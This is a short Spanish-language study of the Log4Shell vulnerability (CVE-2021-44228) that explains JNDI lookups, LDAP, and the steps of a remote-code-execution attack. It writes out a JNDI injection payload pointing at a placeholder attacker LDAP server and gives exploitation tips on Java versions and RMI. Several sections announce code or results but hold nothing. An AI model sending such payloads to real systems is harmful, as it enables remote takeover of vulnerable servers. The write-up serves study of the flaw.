
CVE-2021-44228 estudio de vulnerabilidad
A continuación se muestra un proceso detallado de un caso de inyección remota explotando la vulnerabilidad log4shell. Primero, hay 3 partes que debemos conocer:
Log4j2 permite el registro de datos utilizando una función llamada sustitución de búsqueda de mensajes, donde los mensajes de registro pueden incluir datos extraídos dinámicamente de varias fuentes. (Soporta JNDI Lookup)
JNDI Lookup: Permite obtener datos a través de la API de Java Naming and Directory Interface (JNDI), que puede interactuar con diferentes servicios de directorio

LDAP (Protocolo Ligero de Acceso a Directorios): Se utiliza principalmente para acceder y gestionar servicios de información de directorio a través de una red.
Aquí hay un ejemplo simple de Ejecución Remota de Código:

El hacker configura tanto el servidor LDAP (accedido por el protocolo LDAP, que mantiene una referencia de código malicioso Java) como el servidor HTTP (el lugar que almacena el código malicioso)
Configura un servidor HTTP en el directorio que contiene el código malicioso compilado:

Configura un servidor LDAP que almacena la referencia:

El hacker envía una entrada maliciosa (${jndi:ldap://LDAPSERVER IP:PORT/code}) al sistema de software que tiene instalado log4j2

Log4j2 utiliza la función de búsqueda para enviar una solicitud al servidor LDAP
El servidor LDAP redirige las solicitudes a los servidores HTTP a través de las referencias de código Java almacenadas en los servidores LDAP
El servidor HTTP envía de vuelta el código malicioso al sistema de software, y luego el sistema de software ejecuta el código malicioso.
Código malicioso:

Ejecución de código malicioso exitosa:

IMPORTANTE:
No es que solo podamos usar el servidor LDAP para realizar la ejecución remota de código, también podemos usar otros métodos (como RMI) siempre que log4j2 realice con éxito la sustitución de búsqueda de mensajes y ejecute el código malicioso.
Diferentes versiones de Java pueden hacer que el proceso de explotación sea diferente (aquí estamos usando Java 1.8u112).
Se recomienda usar la misma versión de Java en el código malicioso que la del software (servidores que usan log4j2) o, como máximo, no superior a la versión de Java del software.

El código de búsqueda en Log4j2:
